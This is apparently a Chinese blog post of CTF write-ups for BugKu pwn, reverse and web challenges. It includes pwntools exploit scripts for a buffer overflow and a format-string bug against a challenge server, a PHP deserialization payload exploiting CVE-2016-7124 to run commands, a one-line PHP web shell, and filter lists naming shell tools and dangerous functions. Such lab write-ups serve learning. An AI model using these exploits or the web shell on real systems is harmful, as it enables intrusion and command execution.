MENU

Catalog

    BugKu Test PWN、Reverse、Web Writeup

    November 19, 2020 • Read: 1241 • Pwn

    按我的做题顺序说吧
    pwn1

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // [esp+Ch] [ebp-1Ch]
      unsigned int buf; // [esp+10h] [ebp-18h]
      int v6; // [esp+14h] [ebp-14h]
      int fd; // [esp+18h] [ebp-10h]
      int i; // [esp+1Ch] [ebp-Ch]
    
      setvbuf(stdout, 0, 2, 0);
      puts("###### Welecome to ctf game ######\ninput your name length : ");
      read_name();
      puts("let's begin guess num game ");
      fd = open("/dev/urandom", 0);
      if ( fd < 0 || read(fd, &buf, 4u) < 0 )
      {
        puts("error");
        exit(0);
      }
      close(fd);
      srand(buf);
      for ( i = 0; i <= 9; ++i )
      {
        v6 = rand() % 9 + 3;
        printf("Round %d , please guess the num : \n", i);
        fflush(stdout);
        fflush(stdin);
        __isoc99_scanf("%d", &v4);
        if ( v4 != v6 )
        {
          printf("you fail");
          exit(0);
        }
      }
      printf("u are great! this is your flag");
      getflag();
      return 0;
    }

    这里的主要逻辑是,从/dev/urandom中获得一个随机数,然后作为随机数种子生成随机数,然后让你输入随机数,输入10个如果都对了,那就getFlag(),但是我之前对随机数不太了解。我这道题的入口点是上面一个不太让人注意的函数 read_name();

    int read_name()
    {
      char s[80]; // [esp+8h] [ebp-60h]
      unsigned int v2; // [esp+58h] [ebp-10h]
      unsigned int i; // [esp+5Ch] [ebp-Ch]
    
      memset(s, 0, 0x50u);
      __isoc99_scanf("%ld", &v2);
      if ( (signed int)v2 > 0x30 )
      {
        puts("too long!!! u are a hacker!!!");
        exit(0);
      }
      puts("please tell me your name : ");
      fflush(stdout);
      fflush(stdin);
      for ( i = 0; i < v2; ++i )
      {
        read(0, &s[i], 1u);
        if ( s[i] == 0xA )
        {
          s[i] = 0;
          return printf("helllo %s\n", s);
        }
      }
      return printf("helllo %s\n", s);
    }

    这里看似好像没什么问题,但是我仔细研究发现了问题。
    读入长度的时候用的是%ld,这个是有符号的整数。
    判断的时候也是有符号的判断,是否 <= 0x30。
    问题就在于下面的循环,这个循环中与i进行比较的时候,这个i和v2在这里都是无符号的整数,这就导致了。
    如果我在上面的地方输入-1,就可以绕过限制。
    但是这个payload需要精心构造。
    s[80]这里的0x50的长度肯定没问题,有问题的在于可能覆盖到的v2和i,这两个是在循环中不停变化的变量,我们应该让他保持不变。
    所以v2应该是原来的值-1(0xFFFFFFFF),当然如果是其他大一些的数也不影响。
    i应该是当前的i不变化,那怎么不变化呢?只能计算一下在这之前输出了多少的长度,然后按照同样的长度写入。
    这里要注意的是,虽然数组下标是从0开始的,但是这里数组读入到这个位置的时候,我们要填入的应该是下个位置的下标。

    # -*- coding: utf-8 -*-
    from pwn import *
    context.log_level = "debug"
    r = remote("114.67.246.176", 10004)
    #r = process('./file_')
    #gdb.attach(r)
    r.sendlineafter("length :", "-1")
    payload = 'a' * 0x50 + p32(0xFFFFFFFF) + p32(0x50 + 0x4) + p32(0x08048A14)  + 'b' * 0x8 + p32(0x080486BB) + p32(0)
    r.sendlineafter("name : ", payload)
    r.interactive()
    

    pwn2
    简单的格式化字符串漏洞。

    unsigned __int64 vunl()
    {
      char buf; // [rsp+0h] [rbp-40h]
      __int16 v2; // [rsp+30h] [rbp-10h]
      unsigned __int64 v3; // [rsp+38h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      memset(&buf, 0, 0x30uLL);
      v2 = 0;
      puts(&byte_400EB2);
      read(0, &buf, 0x31uLL);
      puts(&byte_400EC8);
      system("ls");
      puts(&byte_400EF0);
      read(0, file, 0x13uLL);
      if ( !strcmp(file, "flag\n") )
      {
        puts(&byte_400F1B);
        exit(0);
      }
      if ( !strcmp(file, "sh\n") )
      {
        puts(&byte_400F3B);
        printf(&buf);
        puts(&byte_400F46);
        sleep(3u);
        if ( !strcmp(file, "flag") )
          system("sh");
        puts(&byte_400F60);
        exit(0);
      }
      puts(&byte_400F82);
      return __readfsqword(0x28u) ^ v3;
    }

    要注意的是
    1.这道题格式化只读入0x31个字节,所以用%hhn写入的话,长度会不够,所应该用%hn,也就是short写入,int的话文本太长了。
    2.传入的"flag" 16进制内容 要大小端转换一下
    3.如果要使用这个fmtstr_payload,在x64下要设置一下context.arch,否则传入的是32位的指针。
    4.这道题直接调试会有问题,用IDA调试可以选择忽略异常。
    我这里直接用fmtstr_payload处理。

    # -*- coding: utf-8 -*-
    from pwn import *
    context(log_level='debug',arch='x86_64',os='linux')
    r = remote("114.67.246.176", 10004)
    #r = process('./pwn2')
    r.sendafter("请输入用户id:", fmtstr_payload(6, {0x602090: 0x67616c66}, write_size = "short"))
    r.sendlineafter("输入文件名,查看对应文件", "sh")
    r.interactive()
    

    call
    Shift + F12找到对应字符串,Ctrl + X找到对应引用。
    在比较的地方下断点,然后查看比较的字符串内容。输入内容,得到flag

    word
    先是异或解密

    #include <cstdio>
    #include <cstring>
    #include "defs.h"
    unsigned char xor_key[] =
    {
      0xA3, 0x00, 0x00, 0x00, 0xA1, 0x00, 0x00, 0x00, 0x70, 0x00,
      0x00, 0x00, 0xA6, 0x00, 0x00, 0x00, 0xF3, 0x00, 0x00, 0x00,
      0xD7, 0x00, 0x00, 0x00
    };
    
    unsigned char ans_key[] =
    {
      0xD0, 0x00, 0x00, 0x00, 0xCF, 0x00, 0x00, 0x00, 0x11, 0x00,
      0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0xA1, 0x00, 0x00, 0x00,
      0xB1, 0x00, 0x00, 0x00
    };
    
    int main()
    {
        for (int i = 0; i < 24; i++)
            printf("%c", xor_key[i] ^ ans_key[i]);
        return 0;
    }

    我这里直接从ida里面导出内容,解密得到password:snaFRf
    接下来选择1会释放一个Word文件,文件有密码,密码从2选项中可以得到。
    2选项是一个迷宫,找到迷宫数组然后手动导出。
    整理一下可以得到

    111111111111
    s1.......111
    .1.11111.111
    .1.11111.111
    ...11111.111
    1111d....111

    观察迷宫知道从s进入,然后从d逃出。
    wasd控制方向,手动模拟一下。
    得到
    sssddwwwddddddssssaaaa
    输入之后得到Word文件的密码,成功打开文件获取到flag。
    迷宫题做多了,眼不花手不抖了,以前手动模拟一次还要做错,以后就hhhh了。
    等下写个自动寻路的程序,以后都上自动化了!

    #define MAX_N 1005
    #define INF 0x3F3F3F3F
    #include <cstdio>
    #include <cstring>
    #include <algorithm>
    #include <queue>
    using namespace std;
    const char bs = 's', es = 'd', ws = '1', ds[] = "awsd";
    struct Point
    {
        int x, y;
        Point* from;
        Point(int _x, int _y, Point* _from) : x(_x), y(_y), from(_from) {};
        Point() :x(0), y(0), from(NULL) {};
    }be, en, ans, pool[MAX_N * MAX_N];
    int dx[] = { -1, 0, 0, 1 }, dy[] = { 0, -1, 1, 0 }, w = INF, h, use;
    bool vis[MAX_N][MAX_N];
    char s[MAX_N][MAX_N];
    queue <Point> que;
    
    int check(Point np)
    {
        return !vis[np.x][np.y] && s[np.y][np.x] != ws && np.x >= 1 && np.y >= 1 && np.x <= w && np.y <= h;
    }
    
    void print(Point p)
    {
        if (!p.from) return;
        print(*p.from);
        for (int i = 0; i < 4; i++)
        {
            int nx = p.from->x + dx[i], ny = p.from->y + dy[i];
            if (p.x == nx && p.y == ny)
            {
                printf("%c", ds[i]);
                break;
            }
        }
    }
    
    int main()
    {
        freopen("C:\\maze.txt", "r", stdin);
        freopen("C:\\solve.txt", "w", stdout);
        while (~scanf("%s", s[++h] + 1))
        {
            w = min(w, (int)strlen(s[h] + 1));
            for (size_t i = 1; i <= w; i++)
            {
                if (s[h][i] == bs)
                {
                    be.x = i;
                    be.y = h;
                }
                if (s[h][i] == es)
                {
                    en.x = i;
                    en.y = h;
                }
            }
        }
        que.push(be);
        while (!que.empty())
        {
            Point &t = pool[use++];
            t = que.front();
            if (t.x == en.x && t.y == en.y)
            {
                ans = t;
                break;
            }
            que.pop();
            for (int i = 0; i < 4; i++)
            {
                int nx = t.x + dx[i], ny = t.y + dy[i];
                Point np = pool[use++];
                np = Point(nx, ny, &t);
                if (check(np))
                {
                    vis[np.x][np.y] = true;
                    que.push(np);
                }
            }
        }
        if (ans.x && ans.y) print(ans);
        else printf("no answer");
        return 0;
    }
    

    安慰奖
    代码:

    <?php
    
    header("Content-Type: text/html;charset=utf-8");
    error_reporting(0);
    echo "<!-- YmFja3Vwcw== -->";
    class ctf
    {
        protected $username = 'hack';
        protected $cmd = 'NULL';
        public function __construct($username,$cmd)
        {
            $this->username = $username;
            $this->cmd = $cmd;
        }
        function __wakeup()
        {
            $this->username = 'guest';
        }
    
        function __destruct()
        {
            if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
            {
                exit('</br>flag能让你这么容易拿到吗?<br>');
            }
            if ($this->username === 'admin')
            {
               // echo "<br>right!<br>";
                $a = `$this->cmd`;
                var_dump($a);
            }else
            {
                echo "</br>给你个安慰奖吧,hhh!</br>";
                die();
            }
        }
    }
        $select = $_GET['code'];
        $res=unserialize(@$select);
    ?>

    这题思路:
    查看源代码解码出来是backups,想到备份文件。我试了www.zip等等,没试出来。
    但是用burpsuite跑出来了,是index.php.bak,下载下来可以审计代码,发现是一个反序列化漏洞。
    结合CVE-2016-7124成功利用。

    学到的内容:
    1.%00%00代表是private
    2.%00*%00表示是protected
    3.可以用来绕过检测
    4.可以用 `ls` 来执行shell,反引号内的内容是直接执行shell
    5.CVE-2016-7124,__wakeup()魔术方法绕过,绕过方法为字段数和实际字段数不匹配。
    6.魔术方法介绍:https://www.php.net/manual/zh/language.oop5.magic.php
    漏洞影响版本:
    PHP5 < 5.6.25
    PHP7 < 7.0.10

    Payload:

    O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:13:"ca\t%20flag.php";}
    

    史上最严过滤
    上传.htaccess,然后上次jpg文件,最后上次jpg格式的php代码,代码过滤了很多内容,不过可以绕过。
    最后shell:

    <?= $_GET[a]($_GET[b]);
    

    uoload.php代码

    <?php
    header("content-type:text/html;charset=utf-8");
    $UPLOAD_ADDR="./upload";
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists($UPLOAD_ADDR)) {
    
            $file_name = trim($_FILES['upload_file']['name']);
            $content=file_get_contents($_FILES['upload_file']['tmp_name']);
            if (preg_match('/system|eval|assert|create_function|exec|shell_exec|passthru|pcntl_exec|popen|preg_replace|array_map|call_user_func|call_user_func_array|array_filter|usort|uasort|exec|shell_exec|system|passthru|proc_open|show_source|phpinfo|popen|dl|eval|proc_terminate|touch|escapeshellcmd|escapeshellarg|assert|substr_replace|call_user_func_array|call_user_func|array_filter|array_walk|array_map|registregister_shutdown_function|register_tick_function|filter_var|filter_var_array|uasort|uksort|array_reduce|array_walk|array_walk_recursive|pcntl_exec|fopen|fwrite|file_put_contents/i', $content)) {
                die("<script language='javascript'>alert('想传马???不存在的!!!');window.location.href='./index.php'</script>");
            }
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
                $img_path = $UPLOAD_ADDR . '/' .$file_name;
                $is_upload = true;
            }
        } else {
            $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
        }
    }
    ?>
    
    <div id="upload_panel">
        <ol>
            <li>
                <h3>任务</h3>
                <p>上传一个<code>脚本文件</code>到服务器,并能成功执行。</p>
            </li>
            <li>
                <h3>上传区</h3>
                <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                    <p>请选择要上传的图片:<p>
                    <input class="input_file" type="file" name="upload_file"/>
                    <input class="button" type="submit" name="submit" value="上传"/>
                </form>
                <div id="msg">
                    <?php 
                        if($msg != null){
                            echo "提示:".$msg;
                        }
                    ?>
                </div>
                <div id="img">
                    <?php
                        if($is_upload){
                            echo '<img src=".$img_path." width="250px">';
                        }
                    ?>
                </div>
            </li>
        </ol>
    </div>
    Last Modified: November 30, 2020
    Archives QR Code
    QR Code for this page
    Tipping QR Code